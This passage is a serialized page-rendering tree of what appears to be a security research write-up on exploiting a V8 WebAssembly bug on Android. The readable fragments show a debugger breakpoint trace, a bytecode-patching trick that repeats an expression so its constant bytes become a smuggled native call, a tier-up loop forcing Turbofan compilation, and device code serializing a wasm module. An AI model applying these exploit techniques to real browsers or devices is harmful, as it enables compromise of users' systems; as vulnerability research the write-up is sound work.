483,"line":873},[132990,132995,132999,133003,133007,133011,133015,133019,133023,133027,133031,133035,133039,133043,133047,133051,133055,133059,133063,133067,133071,133075,133079,133083,133087,133091,133095,133099,133103,133107,133111,133115,133119,133123,133127,133131,133135,133139,133143,133147,133151,133155,133159,133163,133167,133171,133175,133179,133183,133187,133191,133195,133199,133203,133207,133211,133215,133219,133223,133227],{"type":23,"tag":481,"props":132991,"children":132992},{"style":551},[132993],{"type":28,"value":132994}," 195",{"type":23,"tag":481,"props":132996,"children":132997},{"style":525},[132998],{"type":28,"value":588},{"type":23,"tag":481,"props":133000,"children":133001},{"style":551},[133002],{"type":28,"value":41829},{"type":23,"tag":481,"props":133004,"children":133005},{"style":525},[133006],{"type":28,"value":588},{"type":23,"tag":481,"props":133008,"children":133009},{"style":551},[133010],{"type":28,"value":57141},{"type":23,"tag":481,"props":133012,"children":133013},{"style":525},[133014],{"type":28,"value":588},{"type":23,"tag":481,"props":133016,"children":133017},{"style":551},[133018],{"type":28,"value":94199},{"type":23,"tag":481,"props":133020,"children":133021},{"style":525},[133022],{"type":28,"value":588},{"type":23,"tag":481,"props":133024,"children":133025},{"style":551},[133026],{"type":28,"value":1568},{"type":23,"tag":481,"props":133028,"children":133029},{"style":525},[133030],{"type":28,"value":588},{"type":23,"tag":481,"props":133032,"children":133033},{"style":551},[133034],{"type":28,"value":15021},{"type":23,"tag":481,"props":133036,"children":133037},{"style":525},[133038],{"type":28,"value":588},{"type":23,"tag":481,"props":133040,"children":133041},{"style":551},[133042],{"type":28,"value":1568},{"type":23,"tag":481,"props":133044,"children":133045},{"style":525},[133046],{"type":28,"value":588},{"type":23,"tag":481,"props":133048,"children":133049},{"style":551},[133050],{"type":28,"value":1568},{"type":23,"tag":481,"props":133052,"children":133053},{"style":525},[133054],{"type":28,"value":588},{"type":23,"tag":481,"props":133056,"children":133057},{"style":551},[133058],{"type":28,"value":1568},{"type":23,"tag":481,"props":133060,"children":133061},{"style":525},[133062],{"type":28,"value":588},{"type":23,"tag":481,"props":133064,"children":133065},{"style":551},[133066],{"type":28,"value":1568},{"type":23,"tag":481,"props":133068,"children":133069},{"style":525},[133070],{"type":28,"value":588},{"type":23,"tag":481,"props":133072,"children":133073},{"style":551},[133074],{"type":28,"value":1568},{"type":23,"tag":481,"props":133076,"children":133077},{"style":525},[133078],{"type":28,"value":588},{"type":23,"tag":481,"props":133080,"children":133081},{"style":551},[133082],{"type":28,"value":1568},{"type":23,"tag":481,"props":133084,"children":133085},{"style":525},[133086],{"type":28,"value":588},{"type":23,"tag":481,"props":133088,"children":133089},{"style":551},[133090],{"type":28,"value":1568},{"type":23,"tag":481,"props":133092,"children":133093},{"style":525},[133094],{"type":28,"value":588},{"type":23,"tag":481,"props":133096,"children":133097},{"style":551},[133098],{"type":28,"value":1568},{"type":23,"tag":481,"props":133100,"children":133101},{"style":525},[133102],{"type":28,"value":588},{"type":23,"tag":481,"props":133104,"children":133105},{"style":551},[133106],{"type":28,"value":15021},{"type":23,"tag":481,"props":133108,"children":133109},{"style":525},[133110],{"type":28,"value":588},{"type":23,"tag":481,"props":133112,"children":133113},{"style":551},[133114],{"type":28,"value":1568},{"type":23,"tag":481,"props":133116,"children":133117},{"style":525},[133118],{"type":28,"value":588},{"type":23,"tag":481,"props":133120,"children":133121},{"style":551},[133122],{"type":28,"value":1568},{"type":23,"tag":481,"props":133124,"children":133125},{"style":525},[133126],{"type":28,"value":588},{"type":23,"tag":481,"props":133128,"children":133129},{"style":551},[133130],{"type":28,"value":1568},{"type":23,"tag":481,"props":133132,"children":133133},{"style":525},[133134],{"type":28,"value":588},{"type":23,"tag":481,"props":133136,"children":133137},{"style":551},[133138],{"type":28,"value":1568},{"type":23,"tag":481,"props":133140,"children":133141},{"style":525},[133142],{"type":28,"value":588},{"type":23,"tag":481,"props":133144,"children":133145},{"style":551},[133146],{"type":28,"value":1568},{"type":23,"tag":481,"props":133148,"children":133149},{"style":525},[133150],{"type":28,"value":588},{"type":23,"tag":481,"props":133152,"children":133153},{"style":551},[133154],{"type":28,"value":1568},{"type":23,"tag":481,"props":133156,"children":133157},{"style":525},[133158],{"type":28,"value":588},{"type":23,"tag":481,"props":133160,"children":133161},{"style":551},[133162],{"type":28,"value":1568},{"type":23,"tag":481,"props":133164,"children":133165},{"style":525},[133166],{"type":28,"value":588},{"type":23,"tag":481,"props":133168,"children":133169},{"style":551},[133170],{"type":28,"value":1568},{"type":23,"tag":481,"props":133172,"children":133173},{"style":525},[133174],{"type":28,"value":588},{"type":23,"tag":481,"props":133176,"children":133177},{"style":551},[133178],{"type":28,"value":1568},{"type":23,"tag":481,"props":133180,"children":133181},{"style":525},[133182],{"type":28,"value":588},{"type":23,"tag":481,"props":133184,"children":133185},{"style":551},[133186],{"type":28,"value":1568},{"type":23,"tag":481,"props":133188,"children":133189},{"style":525},[133190],{"type":28,"value":588},{"type":23,"tag":481,"props":133192,"children":133193},{"style":551},[133194],{"type":28,"value":1568},{"type":23,"tag":481,"props":133196,"children":133197},{"style":525},[133198],{"type":28,"value":588},{"type":23,"tag":481,"props":133200,"children":133201},{"style":551},[133202],{"type":28,"value":1568},{"type":23,"tag":481,"props":133204,"children":133205},{"style":525},[133206],{"type":28,"value":588},{"type":23,"tag":481,"props":133208,"children":133209},{"style":551},[133210],{"type":28,"value":1568},{"type":23,"tag":481,"props":133212,"children":133213},{"style":525},[133214],{"type":28,"value":588},{"type":23,"tag":481,"props":133216,"children":133217},{"style":551},[133218],{"type":28,"value":1568},{"type":23,"tag":481,"props":133220,"children":133221},{"style":525},[133222],{"type":28,"value":588},{"type":23,"tag":481,"props":133224,"children":133225},{"style":551},[133226],{"type":28,"value":1568},{"type":23,"tag":481,"props":133228,"children":133229},{"style":525},[133230],{"type":28,"value":1033},{"type":23,"tag":481,"props":133232,"children":133233},{"class":483,"line":1125},[133234,133238,133242,133246,133250,133254,133258,133262,133266,133270,133274,133278,133282,133286,133290,133294,133298,133302,133306,133310,133314,133318,133322,133326,133330,133334,133338,133342,133346,133350,133354,133358,133362,133366,133370,133374,133378,133382,133386,133390,133394,133398,133402,133406,133410,133414,133418,133422,133426,133430,133434,133439,133443,133447],{"type":23,"tag":481,"props":133235,"children":133236},{"style":551},[133237],{"type":28,"value":131729},{"type":23,"tag":481,"props":133239,"children":133240},{"style":525},[133241],{"type":28,"value":588},{"type":23,"tag":481,"props":133243,"children":133244},{"style":551},[133245],{"type":28,"value":1568},{"type":23,"tag":481,"props":133247,"children":133248},{"style":525},[133249],{"type":28,"value":588},{"type":23,"tag":481,"props":133251,"children":133252},{"style":551},[133253],{"type":28,"value":1568},{"type":23,"tag":481,"props":133255,"children":133256},{"style":525},[133257],{"type":28,"value":588},{"type":23,"tag":481,"props":133259,"children":133260},{"style":551},[133261],{"type":28,"value":1568},{"type":23,"tag":481,"props":133263,"children":133264},{"style":525},[133265],{"type":28,"value":588},{"type":23,"tag":481,"props":133267,"children":133268},{"style":551},[133269],{"type":28,"value":1568},{"type":23,"tag":481,"props":133271,"children":133272},{"style":525},[133273],{"type":28,"value":588},{"type":23,"tag":481,"props":133275,"children":133276},{"style":551},[133277],{"type":28,"value":1568},{"type":23,"tag":481,"props":133279,"children":133280},{"style":525},[133281],{"type":28,"value":588},{"type":23,"tag":481,"props":133283,"children":133284},{"style":551},[133285],{"type":28,"value":1568},{"type":23,"tag":481,"props":133287,"children":133288},{"style":525},[133289],{"type":28,"value":588},{"type":23,"tag":481,"props":133291,"children":133292},{"style":551},[133293],{"type":28,"value":1568},{"type":23,"tag":481,"props":133295,"children":133296},{"style":525},[133297],{"type":28,"value":588},{"type":23,"tag":481,"props":133299,"children":133300},{"style":551},[133301],{"type":28,"value":1568},{"type":23,"tag":481,"props":133303,"children":133304},{"style":525},[133305],{"type":28,"value":588},{"type":23,"tag":481,"props":133307,"children":133308},{"style":551},[133309],{"type":28,"value":1568},{"type":23,"tag":481,"props":133311,"children":133312},{"style":525},[133313],{"type":28,"value":588},{"type":23,"tag":481,"props":133315,"children":133316},{"style":551},[133317],{"type":28,"value":1568},{"type":23,"tag":481,"props":133319,"children":133320},{"style":525},[133321],{"type":28,"value":588},{"type":23,"tag":481,"props":133323,"children":133324},{"style":551},[133325],{"type":28,"value":1568},{"type":23,"tag":481,"props":133327,"children":133328},{"style":525},[133329],{"type":28,"value":588},{"type":23,"tag":481,"props":133331,"children":133332},{"style":551},[133333],{"type":28,"value":1568},{"type":23,"tag":481,"props":133335,"children":133336},{"style":525},[133337],{"type":28,"value":588},{"type":23,"tag":481,"props":133339,"children":133340},{"style":551},[133341],{"type":28,"value":1568},{"type":23,"tag":481,"props":133343,"children":133344},{"style":525},[133345],{"type":28,"value":588},{"type":23,"tag":481,"props":133347,"children":133348},{"style":551},[133349],{"type":28,"value":1568},{"type":23,"tag":481,"props":133351,"children":133352},{"style":525},[133353],{"type":28,"value":588},{"type":23,"tag":481,"props":133355,"children":133356},{"style":551},[133357],{"type":28,"value":1568},{"type":23,"tag":481,"props":133359,"children":133360},{"style":525},[133361],{"type":28,"value":588},{"type":23,"tag":481,"props":133363,"children":133364},{"style":551},[133365],{"type":28,"value":1568},{"type":23,"tag":481,"props":133367,"children":133368},{"style":525},[133369],{"type":28,"value":588},{"type":23,"tag":481,"props":133371,"children":133372},{"style":551},[133373],{"type":28,"value":1568},{"type":23,"tag":481,"props":133375,"children":133376},{"style":525},[133377],{"type":28,"value":588},{"type":23,"tag":481,"props":133379,"children":133380},{"style":551},[133381],{"type":28,"value":1568},{"type":23,"tag":481,"props":133383,"children":133384},{"style":525},[133385],{"type":28,"value":588},{"type":23,"tag":481,"props":133387,"children":133388},{"style":551},[133389],{"type":28,"value":1568},{"type":23,"tag":481,"props":133391,"children":133392},{"style":525},[133393],{"type":28,"value":588},{"type":23,"tag":481,"props":133395,"children":133396},{"style":551},[133397],{"type":28,"value":1568},{"type":23,"tag":481,"props":133399,"children":133400},{"style":525},[133401],{"type":28,"value":588},{"type":23,"tag":481,"props":133403,"children":133404},{"style":551},[133405],{"type":28,"value":1568},{"type":23,"tag":481,"props":133407,"children":133408},{"style":525},[133409],{"type":28,"value":588},{"type":23,"tag":481,"props":133411,"children":133412},{"style":551},[133413],{"type":28,"value":1568},{"type":23,"tag":481,"props":133415,"children":133416},{"style":525},[133417],{"type":28,"value":588},{"type":23,"tag":481,"props":133419,"children":133420},{"style":551},[133421],{"type":28,"value":26936},{"type":23,"tag":481,"props":133423,"children":133424},{"style":525},[133425],{"type":28,"value":588},{"type":23,"tag":481,"props":133427,"children":133428},{"style":551},[133429],{"type":28,"value":132982},{"type":23,"tag":481,"props":133431,"children":133432},{"style":525},[133433],{"type":28,"value":588},{"type":23,"tag":481,"props":133435,"children":133436},{"style":551},[133437],{"type":28,"value":133438},"198",{"type":23,"tag":481,"props":133440,"children":133441},{"style":525},[133442],{"type":28,"value":588},{"type":23,"tag":481,"props":133444,"children":133445},{"style":551},[133446],{"type":28,"value":1568},{"type":23,"tag":481,"props":133448,"children":133449},{"style":525},[133450],{"type":28,"value":1033},{"type":23,"tag":481,"props":133452,"children":133453},{"class":483,"line":1142},[133454],{"type":23,"tag":481,"props":133455,"children":133456},{"style":525},[133457],{"type":28,"value":132016},{"type":23,"tag":481,"props":133459,"children":133460},{"class":483,"line":1159},[133461,133465,133470,133474,133479,133483,133487,133491,133495,133499,133503],{"type":23,"tag":481,"props":133462,"children":133463},{"style":497},[133464],{"type":28,"value":5334},{"type":23,"tag":481,"props":133466,"children":133467},{"style":508},[133468],{"type":28,"value":133469}," r",{"type":23,"tag":481,"props":133471,"children":133472},{"style":514},[133473],{"type":28,"value":517},{"type":23,"tag":481,"props":133475,"children":133476},{"style":610},[133477],{"type":28,"value":133478}," bug",{"type":23,"tag":481,"props":133480,"children":133481},{"style":525},[133482],{"type":28,"value":618},{"type":23,"tag":481,"props":133484,"children":133485},{"style":508},[133486],{"type":28,"value":131347},{"type":23,"tag":481,"props":133488,"children":133489},{"style":525},[133490],{"type":28,"value":588},{"type":23,"tag":481,"props":133492,"children":133493},{"style":508},[133494],{"type":28,"value":122674},{"type":23,"tag":481,"props":133496,"children":133497},{"style":525},[133498],{"type":28,"value":199},{"type":23,"tag":481,"props":133500,"children":133501},{"style":508},[133502],{"type":28,"value":122674},{"type":23,"tag":481,"props":133504,"children":133505},{"style":525},[133506],{"type":28,"value":1366},{"type":23,"tag":481,"props":133508,"children":133509},{"class":483,"line":1172},[133510,133515,133519,133523,133527,133531,133535,133539,133544,133548],{"type":23,"tag":481,"props":133511,"children":133512},{"style":508},[133513],{"type":28,"value":133514}," result",{"type":23,"tag":481,"props":133516,"children":133517},{"style":514},[133518],{"type":28,"value":517},{"type":23,"tag":481,"props":133520,"children":133521},{"style":525},[133522],{"type":28,"value":578},{"type":23,"tag":481,"props":133524,"children":133525},{"style":535},[133526],{"type":28,"value":30432},{"type":23,"tag":481,"props":133528,"children":133529},{"style":508},[133530],{"type":28,"value":133469},{"type":23,"tag":481,"props":133532,"children":133533},{"style":525},[133534],{"type":28,"value":199},{"type":23,"tag":481,"props":133536,"children":133537},{"style":610},[133538],{"type":28,"value":55092},{"type":23,"tag":481,"props":133540,"children":133541},{"style":525},[133542],{"type":28,"value":133543},"()).",{"type":23,"tag":481,"props":133545,"children":133546},{"style":508},[133547],{"type":28,"value":36670},{"type":23,"tag":481,"props":133549,"children":133550},{"style":525},[133551],{"type":28,"value":528},{"type":23,"tag":481,"props":133553,"children":133554},{"class":483,"line":1181},[133555,133559,133564,133568,133572,133576,133580,133584,133588,133592],{"type":23,"tag":481,"props":133556,"children":133557},{"style":497},[133558],{"type":28,"value":33706},{"type":23,"tag":481,"props":133560,"children":133561},{"style":508},[133562],{"type":28,"value":133563}," wasm_instance",{"type":23,"tag":481,"props":133565,"children":133566},{"style":514},[133567],{"type":28,"value":517},{"type":23,"tag":481,"props":133569,"children":133570},{"style":497},[133571],{"type":28,"value":29448},{"type":23,"tag":481,"props":133573,"children":133574},{"style":508},[133575],{"type":28,"value":131330},{"type":23,"tag":481,"props":133577,"children":133578},{"style":525},[133579],{"type":28,"value":199},{"type":23,"tag":481,"props":133581,"children":133582},{"style":610},[133583],{"type":28,"value":131384},{"type":23,"tag":481,"props":133585,"children":133586},{"style":525},[133587],{"type":28,"value":618},{"type":23,"tag":481,"props":133589,"children":133590},{"style":508},[133591],{"type":28,"value":6564},{"type":23,"tag":481,"props":133593,"children":133594},{"style":525},[133595],{"type":28,"value":1366},{"type":23,"tag":481,"props":133597,"children":133598},{"class":483,"line":1204},[133599,133603,133607,133611,133615,133619,133623,133627,133631],{"type":23,"tag":481,"props":133600,"children":133601},{"style":497},[133602],{"type":28,"value":33706},{"type":23,"tag":481,"props":133604,"children":133605},{"style":508},[133606],{"type":28,"value":30487},{"type":23,"tag":481,"props":133608,"children":133609},{"style":514},[133610],{"type":28,"value":517},{"type":23,"tag":481,"props":133612,"children":133613},{"style":508},[133614],{"type":28,"value":133563},{"type":23,"tag":481,"props":133616,"children":133617},{"style":525},[133618],{"type":28,"value":199},{"type":23,"tag":481,"props":133620,"children":133621},{"style":508},[133622],{"type":28,"value":35404},{"type":23,"tag":481,"props":133624,"children":133625},{"style":525},[133626],{"type":28,"value":199},{"type":23,"tag":481,"props":133628,"children":133629},{"style":508},[133630],{"type":28,"value":131433},{"type":23,"tag":481,"props":133632,"children":133633},{"style":525},[133634],{"type":28,"value":528},{"type":23,"tag":481,"props":133636,"children":133637},{"class":483,"line":1213},[133638,133643],{"type":23,"tag":481,"props":133639,"children":133640},{"style":610},[133641],{"type":28,"value":133642}," f",{"type":23,"tag":481,"props":133644,"children":133645},{"style":525},[133646],{"type":28,"value":1201},{"type":23,"tag":481,"props":133648,"children":133649},{"class":483,"line":1222},[133650],{"type":23,"tag":481,"props":133651,"children":133652},{"style":525},[133653],{"type":28,"value":99517},{"type":23,"tag":24,"props":133655,"children":133656},{},[133657],{"type":28,"value":133658},"Running this in a debugger shows the expected breakpoint:",{"type":23,"tag":435,"props":133660,"children":133662},{"code":133661},"Thread 1 \"d8\" received signal SIGTRAP, Trace/breakpoint trap.\n0x00002ae46bfc1841 in ?? ()\n────────────────────────────────────────────────────────────────────────────\n 0x2ae46bfc183c add BYTE PTR [rax], al\n 0x2ae46bfc183e add BYTE PTR [rax], al\n 0x2ae46bfc1840 int3\n → 0x2ae46bfc1841 mov rbp, rsp\n",[133663],{"type":23,"tag":64,"props":133664,"children":133665},{"__ignoreMap":7},[133666],{"type":28,"value":133661},{"type":23,"tag":7092,"props":133668,"children":133670},{"id":133669},"porting-to-android",[133671],{"type":28,"value":133672},"Porting to Android",{"type":23,"tag":24,"props":133674,"children":133675},{},[133676,133678,133683,133685,133690,133692,133697,133699,133705],{"type":28,"value":133677},"The serialized x86-64 code can’t be used on the device because the architecture differs, and ",{"type":23,"tag":64,"props":133679,"children":133681},{"className":133680},[],[133682],{"type":28,"value":130462},{"type":28,"value":133684}," fails. We cross-compiled ",{"type":23,"tag":64,"props":133686,"children":133688},{"className":133687},[],[133689],{"type":28,"value":129621},{"type":28,"value":133691}," for arm64 and serialized the module there, but this still didn’t work on the device and ",{"type":23,"tag":64,"props":133693,"children":133695},{"className":133694},[],[133696],{"type":28,"value":130462},{"type":28,"value":133698}," returned ",{"type":23,"tag":64,"props":133700,"children":133702},{"className":133701},[],[133703],{"type":28,"value":133704},"undefined",{"type":28,"value":199},{"type":23,"tag":24,"props":133707,"children":133708},{},[133709,133711,133716,133718,133723],{"type":28,"value":133710},"Instead, we modified the bytecode to call ",{"type":23,"tag":64,"props":133712,"children":133714},{"className":133713},[],[133715],{"type":28,"value":130488},{"type":28,"value":133717}," directly on the device. The idea is to serialize the code on the device and then feed the resulting bytes back into the original bytecode that calls ",{"type":23,"tag":64,"props":133719,"children":133721},{"className":133720},[],[133722],{"type":28,"value":130462},{"type":28,"value":199},{"type":23,"tag":435,"props":133725,"children":133727},{"code":133726,"language":33133,"meta":7,"className":33131,"style":7},"try {\n ${'a1 + 0xa931111;'.repeat(0x059301 - 1)}\n a1 + 0x03027a6c;\n throw 0x393e71a;\n} catch (e) {\n console.log(\"foo\");\n yield a16;\n}\n",[133728],{"type":23,"tag":64,"props":133729,"children":133730},{"__ignoreMap":7},[133731,133742,133786,133806,133822,133845,133872,133887],{"type":23,"tag":481,"props":133732,"children":133733},{"class":483,"line":484},[133734,133738],{"type":23,"tag":481,"props":133735,"children":133736},{"style":535},[133737],{"type":28,"value":45856},{"type":23,"tag":481,"props":133739,"children":133740},{"style":525},[133741],{"type":28,"value":809},{"type":23,"tag":481,"props":133743,"children":133744},{"class":483,"line":351},[133745,133749,133753,133757,133761,133765,133769,133774,133778,133782],{"type":23,"tag":481,"props":133746,"children":133747},{"style":508},[133748],{"type":28,"value":130729},{"type":23,"tag":481,"props":133750,"children":133751},{"style":525},[133752],{"type":28,"value":74150},{"type":23,"tag":481,"props":133754,"children":133755},{"style":1805},[133756],{"type":28,"value":130738},{"type":23,"tag":481,"props":133758,"children":133759},{"style":525},[133760],{"type":28,"value":199},{"type":23,"tag":481,"props":133762,"children":133763},{"style":610},[133764],{"type":28,"value":130747},{"type":23,"tag":481,"props":133766,"children":133767},{"style":525},[133768],{"type":28,"value":618},{"type":23,"tag":481,"props":133770,"children":133771},{"style":551},[133772],{"type":28,"value":133773},"0x059301",{"type":23,"tag":481,"props":133775,"children":133776},{"style":514},[133777],{"type":28,"value":48781},{"type":23,"tag":481,"props":133779,"children":133780},{"style":551},[133781],{"type":28,"value":2072},{"type":23,"tag":481,"props":133783,"children":133784},{"style":525},[133785],{"type":28,"value":130769},{"type":23,"tag":481,"props":133787,"children":133788},{"class":483,"line":531},[133789,133793,133797,133802],{"type":23,"tag":481,"props":133790,"children":133791},{"style":508},[133792],{"type":28,"value":130777},{"type":23,"tag":481,"props":133794,"children":133795},{"style":514},[133796],{"type":28,"value":6385},{"type":23,"tag":481,"props":133798,"children":133799},{"style":551},[133800],{"type":28,"value":133801}," 0x03027a6c",{"type":23,"tag":481,"props":133803,"children":133804},{"style":525},[133805],{"type":28,"value":528},{"type":23,"tag":481,"props":133807,"children":133808},{"class":483,"line":567},[133809,133813,133818],{"type":23,"tag":481,"props":133810,"children":133811},{"style":535},[133812],{"type":28,"value":32719},{"type":23,"tag":481,"props":133814,"children":133815},{"style":551},[133816],{"type":28,"value":133817}," 0x393e71a",{"type":23,"tag":481,"props":133819,"children":133820},{"style":525},[133821],{"type":28,"value":528},{"type":23,"tag":481,"props":133823,"children":133824},{"class":483,"line":678},[133825,133829,133833,133837,133841],{"type":23,"tag":481,"props":133826,"children":133827},{"style":525},[133828],{"type":28,"value":44398},{"type":23,"tag":481,"props":133830,"children":133831},{"style":535},[133832],{"type":28,"value":45936},{"type":23,"tag":481,"props":133834,"children":133835},{"style":525},[133836],{"type":28,"value":578},{"type":23,"tag":481,"props":133838,"children":133839},{"style":508},[133840],{"type":28,"value":48980},{"type":23,"tag":481,"props":133842,"children":133843},{"style":525},[133844],{"type":28,"value":12292},{"type":23,"tag":481,"props":133846,"children":133847},{"class":483,"line":784},[133848,133852,133856,133860,133864,133868],{"type":23,"tag":481,"props":133849,"children":133850},{"style":508},[133851],{"type":28,"value":99476},{"type":23,"tag":481,"props":133853,"children":133854},{"style":525},[133855],{"type":28,"value":199},{"type":23,"tag":481,"props":133857,"children":133858},{"style":610},[133859],{"type":28,"value":99485},{"type":23,"tag":481,"props":133861,"children":133862},{"style":525},[133863],{"type":28,"value":618},{"type":23,"tag":481,"props":133865,"children":133866},{"style":1805},[133867],{"type":28,"value":130853},{"type":23,"tag":481,"props":133869,"children":133870},{"style":525},[133871],{"type":28,"value":1366},{"type":23,"tag":481,"props":133873,"children":133874},{"class":483,"line":812},[133875,133879,133883],{"type":23,"tag":481,"props":133876,"children":133877},{"style":535},[133878],{"type":28,"value":130865},{"type":23,"tag":481,"props":133880,"children":133881},{"style":508},[133882],{"type":28,"value":130870},{"type":23,"tag":481,"props":133884,"children":133885},{"style":525},[133886],{"type":28,"value":528},{"type":23,"tag":481,"props":133888,"children":133889},{"class":483,"line":825},[133890],{"type":23,"tag":481,"props":133891,"children":133892},{"style":525},[133893],{"type":28,"value":1443},{"type":23,"tag":24,"props":133895,"children":133896},{},[133897,133899,133905,133907,133913,133915,133921,133923,133928,133930,133936,133938,133943,133944,133950],{"type":28,"value":133898},"Here, ",{"type":23,"tag":64,"props":133900,"children":133902},{"className":133901},[],[133903],{"type":28,"value":133904},"a1 + 0x03027a6c",{"type":28,"value":133906}," generates the bytes ",{"type":23,"tag":64,"props":133908,"children":133910},{"className":133909},[],[133911],{"type":28,"value":133912},"01 4b 6c 7a 02 03",{"type":28,"value":133914},", where ",{"type":23,"tag":64,"props":133916,"children":133918},{"className":133917},[],[133919],{"type":28,"value":133920},"0x6c",{"type":28,"value":133922}," is the ",{"type":23,"tag":64,"props":133924,"children":133926},{"className":133925},[],[133927],{"type":28,"value":130446},{"type":28,"value":133929}," opcode, ",{"type":23,"tag":64,"props":133931,"children":133933},{"className":133932},[],[133934],{"type":28,"value":133935},"0x027a",{"type":28,"value":133937}," is the function ID of ",{"type":23,"tag":64,"props":133939,"children":133941},{"className":133940},[],[133942],{"type":28,"value":130488},{"type":28,"value":3965},{"type":23,"tag":64,"props":133945,"children":133947},{"className":133946},[],[133948],{"type":28,"value":133949},"0x03",{"type":28,"value":133951}," is the register index holding its first argument.",{"type":23,"tag":24,"props":133953,"children":133954},{},[133955,133957,133962,133963,133968,133970,133975],{"type":28,"value":133956},"Our earlier javascript snippet that serialized the wasm module used two native calls: ",{"type":23,"tag":64,"props":133958,"children":133960},{"className":133959},[],[133961],{"type":28,"value":130488},{"type":28,"value":8478},{"type":23,"tag":64,"props":133964,"children":133966},{"className":133965},[],[133967],{"type":28,"value":131456},{"type":28,"value":133969},". To avoid patching the bytecode again to invoke ",{"type":23,"tag":64,"props":133971,"children":133973},{"className":133972},[],[133974],{"type":28,"value":131456},{"type":28,"value":133976},", we can force Turbofan to compile the target function like this:",{"type":23,"tag":435,"props":133978,"children":133980},{"code":133979,"language":33133,"meta":7,"className":33131,"style":7},"// %WasmTierUpFunction(func);\nfor (let i = 0; i \u003C 0x100000; i++) {\n func();\n}\n",[133981],{"type":23,"tag":64,"props":133982,"children":133983},{"__ignoreMap":7},[133984,133992,134052,134064],{"type":23,"tag":481,"props":133985,"children":133986},{"class":483,"line":484},[133987],{"type":23,"tag":481,"props":133988,"children":133989},{"style":488},[133990],{"type":28,"value":133991},"// %WasmTierUpFunction(func);\n",{"type":23,"tag":481,"props":133993,"children":133994},{"class":483,"line":351},[133995,133999,134003,134007,134011,134015,134019,134023,134027,134031,134036,134040,134044,134048],{"type":23,"tag":481,"props":133996,"children":133997},{"style":535},[133998],{"type":28,"value":917},{"type":23,"tag":481,"props":134000,"children":134001},{"style":525},[134002],{"type":28,"value":578},{"type":23,"tag":481,"props":134004,"children":134005},{"style":497},[134006],{"type":28,"value":9274},{"type":23,"tag":481,"props":134008,"children":134009},{"style":508},[134010],{"type":28,"value":922},{"type":23,"tag":481,"props":134012,"children":134013},{"style":514},[134014],{"type":28,"value":517},{"type":23,"tag":481,"props":134016,"children":134017},{"style":551},[134018],{"type":28,"value":554},{"type":23,"tag":481,"props":134020,"children":134021},{"style":525},[134022],{"type":28,"value":14719},{"type":23,"tag":481,"props":134024,"children":134025},{"style":508},[134026],{"type":28,"value":1274},{"type":23,"tag":481,"props":134028,"children":134029},{"style":514},[134030],{"type":28,"value":6199},{"type":23,"tag":481,"props":134032,"children":134033},{"style":551},[134034],{"type":28,"value":134035}," 0x100000",{"type":23,"tag":481,"props":134037,"children":134038},{"style":525},[134039],{"type":28,"value":14719},{"type":23,"tag":481,"props":134041,"children":134042},{"style":508},[134043],{"type":28,"value":1274},{"type":23,"tag":481,"props":134045,"children":134046},{"style":514},[134047],{"type":28,"value":48795},{"type":23,"tag":481,"props":134049,"children":134050},{"style":525},[134051],{"type":28,"value":12292},{"type":23,"tag":481,"props":134053,"children":134054},{"class":483,"line":531},[134055,134060],{"type":23,"tag":481,"props":134056,"children":134057},{"style":610},[134058],{"type":28,"value":134059}," func",{"type":23,"tag":481,"props":134061,"children":134062},{"style":525},[134063],{"type":28,"value":1201},{"type":23,"tag":481,"props":134065,"children":134066},{"class":483,"line":567},[134067],{"type":23,"tag":481,"props":134068,"children":134069},{"style":525},[134070],{"type":28,"value":1443},{"type":23,"tag":24,"props":134072,"children":134073},{},[134074],{"type":28,"value":134075},"Finally, running this code on the device:",{"type":23,"tag":435,"props":134077,"children":134079},{"code":134078,"language":33133,"meta":7,"className":33131,"style":7},"(async () => {\n var wasm_code = new Uint8Array([\n 0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n 0, 0, 10, 4, 1, 2, 0, 11,\n ]);\n var mod = new WebAssembly.Module(wasm_code);\n var inst = new WebAssembly.Instance(mod);\n var func = inst.exports.shell;\n\n // %WasmTierUpFunction(func);\n for (let i = 0; i \u003C 0x100000; i++) {\n func();\n }\n\n let r = bug(mod);\n result = (await r.next()).value;\n console.log(result);\n\n let result_bytes = new Uint8Array(result);\n console.log('[' + result_bytes.join(', ') + ']');\n})();\n",[134080],{"type":23,"tag":64,"props":134081,"children":134082},{"__ignoreMap":7},[134083,134106,134134,134353,134420,134427,134470,134513,134552,134559,134567,134627,134639,134646,134653,134684,134727,134754,134761,134797,134860],{"type":23,"tag":481,"props":134084,"children":134085},{"class":483,"line":484},[134086,134090,134094,134098,134102],{"type":23,"tag":481,"props":134087,"children":134088},{"style":525},[134089],{"type":28,"value":618},{"type":23,"tag":481,"props":134091,"children":134092},{"style":497},[134093],{"type":28,"value":33663},{"type":23,"tag":481,"props":134095,"children":134096},{"style":525},[134097],{"type":28,"value":37215},{"type":23,"tag":481,"props":134099,"children":134100},{"style":497},[134101],{"type":28,"value":12310},{"type":23,"tag":481,"props":134103,"children":134104},{"style":525},[134105],{"type":28,"value":809},{"type":23,"tag":481,"props":134107,"children":134108},{"class":483,"line":351},[134109,134114,134118,134122,134126,134130],{"type":23,"tag":481,"props":134110,"children":134111},{"style":497},[134112],{"type":28,"value":134113}," var",{"type":23,"tag":481,"props":134115,"children":134116},{"style":508},[134117],{"type":28,"value":130986},{"type":23,"tag":481,"props":134119,"children":134120},{"style":514},[134121],{"type":28,"value":517},{"type":23,"tag":481,"props":134123,"children":134124},{"style":497},[134125],{"type":28,"value":29448},{"type":23,"tag":481,"props":134127,"children":134128},{"style":610},[134129],{"type":28,"value":130999},{"type":23,"tag":481,"props":134131,"children":134132},{"style":525},[134133],{"type":28,"value":131004},{"type":23,"tag":481,"props":134135,"children":134136},{"class":483,"line":531},[134137,134141,134145,134149,134153,134157,134161,134165,134169,134173,134177,134181,134185,134189,134193,134197,134201,134205,134209,134213,134217,134221,134225,134229,134233,134237,134241,134245,134249,134253,134257,134261,134265,134269,134273,134277,134281,134285,134289,134293,134297,134301,134305,134309,134313,134317,134321,134325,134329,134333,134337,134341,134345,134349],{"type":23,"tag":481,"props":134138,"children":134139},{"style":551},[134140],{"type":28,"value":131729},{"type":23,"tag":481,"props":134142,"children":134143},{"style":525},[134144],{"type":28,"value":588},{"type":23,"tag":481,"props":134146,"children":134147},{"style":551},[134148],{"type":28,"value":131021},{"type":23,"tag":481,"props":134150,"children":134151},{"style":525},[134152],{"type":28,"value":588},{"type":23,"tag":481,"props":134154,"children":134155},{"style":551},[134156],{"type":28,"value":131030},{"type":23,"tag":481,"props":134158,"children":134159},{"style":525},[134160],{"type":28,"value":588},{"type":23,"tag":481,"props":134162,"children":134163},{"style":551},[